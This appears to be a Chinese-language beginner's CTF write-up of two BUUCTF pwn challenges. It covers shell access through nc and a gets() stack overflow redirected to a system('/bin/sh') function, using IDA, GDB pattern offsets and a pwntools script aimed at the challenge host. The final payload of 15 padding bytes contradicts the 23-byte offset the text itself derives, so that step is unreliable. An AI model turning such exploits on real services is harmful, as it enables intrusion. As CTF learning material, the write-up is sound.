网络安全CTFPwn学习通过直接刷题逆向学习pwn简单的栈溢出(test_your_nc、rip题解)
Xiaozhi_z在没有汇编和C语言的基础的情况下初看pwn题目真的很 坐牢(一头雾水)
二进制溢出是为数不多连做题过程都看不懂的题目类型
本文档将会把我做pwn ctf题的心路历程和零基础解决方案详细整理总结进行分享
test_your_nc
这道题会打linux命令就能做,使用cat命令直接查看flag即可,前面是IDA的分析
使用nc进行连接 回车没有反应

使用IDA64打开程序

按F5进入伪代码模式 查看到调用了系统的/bin/sh(也就是shell)

回到nc 重新连接,然后尝试输入shell命令ls

根目录下回显flag,cat flag即可

rip
栈溢出对我这个没有基础的人来讲这真的很难以理解(特别容易出现一个不会的点中出现十个不会的点套娃)
做题流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 1. 连接题目 └─ nc node5.buuoj.cn 26833
2. 分析程序 └─ IDA 打开 → 看到 gets(s) → 栈溢出漏洞
3. 找目标 └─ shift+F12 → /bin/sh → 跳转到 fun() → 地址:0x401186
4. 算偏移 └─ gdb → pattern create 100 → 崩溃 → RBP=0x412d41414341416e └─ pattern offset → 15 字节到 RBP → 23 字节到返回地址
5. 构造 payload └─ 15字节填充 + 8字节RBP + 8字节返回地址 └─ p64(0x401186) → 小端序打包
6. 攻击 └─ 发送 payload → 跳转到 fun() → system("/bin/sh") → cat flag
|
使用IDA打开程序 main函数伪代码如下
1 2 3 4 5 6 7 8 9 10
| int __fastcall main(int argc, const char **argv, const char **envp) { char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input"); gets(s, argv); puts(s); puts("ok,bye!!!"); return 0; }
|
简单的代码解释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| int __fastcall main(int argc, const char **argv, const char **envp) { // 在栈上开辟了一个长度为15字节的字符数组(缓冲区),用于存放用户输入 char s[15]; // [rsp+1h] [rbp-Fh] BYREF
// 打印提示信息 puts("please input");
// 这是一个危险的函数:从标准输入(如键盘)读取数据,并存放到数组s中 gets(s, argv);
// 将用户输入的内容再打印出来 puts(s);
// 打印结束信息 puts("ok,bye!!!");
// 主函数返回 return 0; }
|
核心漏洞分析
这段代码的致命漏洞在于使用了 gets(s)
函数。
为什么 gets
函数是危险的?
gets
函数的工作方式是:不断地读取用户输入,直到遇到换行符(回车)或文件结束符(EOF)为止。
- 它完全不检查用户输入的数据量是否超过了目标缓冲区(即
char s[15]
)的大小。
- 如果用户输入了超过15个字符(比如20个、50个或100个字符),
gets
会毫不犹豫地将所有数据都写入内存。
使用checksec查看文件是否被保护
这个选项表示栈保护功能有没有开启。

Canary(栈保护)
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。
可能不够直观,我们来一个更加直观的解释
栈内存的直观比喻
想象栈内存就像一个多层架子,每层放不同的东西:
1 2 3 4 5 6 7 8 9 10
| |-----------------| | 返回地址 | ← 函数结束后要回到哪里 |-----------------| | 旧的rbp | ← 调用者的栈帧位置 |-----------------| | s[14] | ← 第15个字节 | ... | | s[1] | ← 第2个字节 | s[0] | ← 第1个字节 |-----------------|
|
你的 char s[15]
只是这个架子上最下面的15个小格子。
gets
函数的危险行为
gets
函数的工作方式:
- 无脑填坑:不管架子有多少空间,它一直往里面塞数据
- 不会停止:直到遇到回车键才罢休
正常输入(14个字符 + 回车):
1 2
| 输入: "12345678901234" 架子状态: [1][2][3]...[1][4][\0] ← 刚好填满,安全!
|
溢出输入(20个字符):
1 2 3 4 5
| 输入: "12345678901234567890" 架子状态: [1][2][3]...[9][0] ← 填满15个后继续向上写 [旧的rbp被覆盖] ← 危险! [返回地址被覆盖] ← 更危险!
|
Canary(金丝雀)保护机制
1 2 3 4 5 6
| 正常栈布局: | 返回地址 | | 旧的rbp | | [Canary] | ← 编译器插入的"警卫" | s[14] | | ... |
|
Canary 的工作原理:
- 函数开始时:在缓冲区后面放一个随机数(金丝雀)
- 函数返回前:检查这个数是否被修改
- 如果被修改:立即崩溃程序,防止攻击
没有保护机制的情况下可以通过构造特殊的溢出来做一些事情
寻找目标地址
再次打开IDA 使用快捷键shift+F12 找到字符串/bin/sh(获取shell) 双击点击进去

右键对应的行,点击”Xrefs to” 可以看到是从哪个函数引用

打开对应的fun函数 找到函数地址0x401186 下一步可以准备把返回地址修改为此函数地址即可
IDA 里看 fun()
的第一条指令地址,确认是 0x401186
,否则可能跳错地方。

然后寻找偏移量,将返回地址覆盖为fun函数即可
偏移量是什么?
偏移量 = 从起点到目标的”步数”
想象你要去朋友家:
- 起点:你家门口(缓冲区的开始位置)
- 目标:朋友家的门牌(返回地址的位置)
- 偏移量:需要走多少步才能到达朋友家门口
在栈溢出中:
- 起点:你输入数据的第一个字符
- 目标:返回地址在内存中的位置
- 偏移量:需要多少字节数据才能”走到”返回地址的位置
使用停车场比喻偏移量
1 2 3 4
| 停车场布局: [车位1] [车位2] ... [车位15] [过道] [管理员办公室] [出口大门] ↑ ↑ ↑ ↑ ↑ s[0] s[14] 填充 RBP 返回地址
|
- 你的车只能停15个车位(
s[15]
数组)
- 但如果你硬要停更多车,就会占用过道、办公室…
- 假如偏移量23:从车位1到出口大门需要经过23个”位置”
使用动态调试计算偏移值
计算偏移量是重点(每个程序偏移值不一样),计算出来之后即可编写payload实现getshell
为什么需要精确计算?
- 偏移量太小:无法覆盖到返回地址,攻击失败
- 偏移量太大:可能破坏其他数据,导致程序崩溃
- 偏移量精确:刚好覆盖返回地址,攻击成功
启动 GDB 并加载目标
生成溢出字符串
GDB 本身只是把这串字符 printf
出来;没有修改被调试进程任何状态。

输入run运行

输入刚刚生成的字符串
1
| AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
|
回显一下内容 可以从里面找到RBP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| gdb-peda$ run Starting program: /home/xiaozhi_z/Desktop/pwn1 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". please input AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL ok,bye!!!
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x7fffffffe2b8 --> 0x7fffffffe56b ("/home/xiaozhi_z/Desktop/pwn1") RCX: 0x68d4fce1 RDX: 0x0 RSI: 0x4052a0 ("ok,bye!!!\nAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") RDI: 0x7ffff7fa17b0 --> 0x0 RBP: 0x412d41414341416e ('nAACAA-A') RSP: 0x7fffffffe1a8 ("A(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") RIP: 0x401185 (<main+67>: ret) R8 : 0x0 R9 : 0x0 R10: 0x0 R11: 0x202 R12: 0x0 R13: 0x7fffffffe2c8 --> 0x7fffffffe588 ("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games") R14: 0x7ffff7ffd000 --> 0x7ffff7ffe310 --> 0x0 R15: 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40117a <main+56>: call 0x401030 <puts@plt> 0x40117f <main+61>: mov eax,0x0 0x401184 <main+66>: leave => 0x401185 <main+67>: ret 0x401186 <fun>: push rbp 0x401187 <fun+1>: mov rbp,rsp 0x40118a <fun+4>: lea rdi,[rip+0xe8a] # 0x40201b 0x401191 <fun+11>: call 0x401040 <system@plt> [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe1a8 ("A(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0008| 0x7fffffffe1b0 ("AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0016| 0x7fffffffe1b8 ("aAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0024| 0x7fffffffe1c0 ("AbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0032| 0x7fffffffe1c8 ("AAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0040| 0x7fffffffe1d0 ("HAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0048| 0x7fffffffe1d8 ("AIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0056| 0x7fffffffe1e0 ("AAJAAfAA5AAKAAgAA6AAL") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000401185 in main ()
|
也可以使用命令直接显示RBP

计算偏移值
1
| pattern offset 0x412d41414341416e
|
得到偏移值为15 可以编写payload
从输入缓冲区开始,到 RBP 的起始位置,需要 15 字节。
- 前 15 字节:覆盖缓冲区 + 填充到 RBP
- 接下来 8 字节:覆盖 RBP(可随意)
- 再接下来 8 字节:覆盖返回地址

构建payload进行getshell
当前已知信息总结:
项目 |
内容 |
缓冲区大小 |
15 字节(char s[15] ) |
溢出偏移量 |
15 字节(刚好覆盖 RBP) |
返回地址偏移 |
15 + 8 = 23 字节 |
目标函数地址 |
0x401186 (fun() 函数) |
目标 |
覆盖返回地址为 0x401186 |
Payload 构造思路:
我们要构造一个输入,使得:
- 前 15 字节:填充缓冲区
- 中间 8 字节:覆盖旧的 RBP(可以随便填)
- 后 8 字节:覆盖返回地址为
0x401186
可以让AI生成一个payload来getshell
p64(0x401186)
会把地址打包成 小端序 的 8 字节,符合 x86-64 的内存布局。
1 2 3 4 5
| from pwn import *
p = remote('node5.buuoj.cn', 26833) p.sendline(b'a' * 15 + p64(0x401186)) p.interactive()
|
运行代码然后cat flag 即可
本题之所以能用固定地址,是因为:
- 程序没有开启 PIE(地址随机化)
- 远程环境关闭了 ASLR 或用了 固定基址
实战中要先检查 checksec
的 PIE 项,如果开了 PIE,就不能硬编码地址。
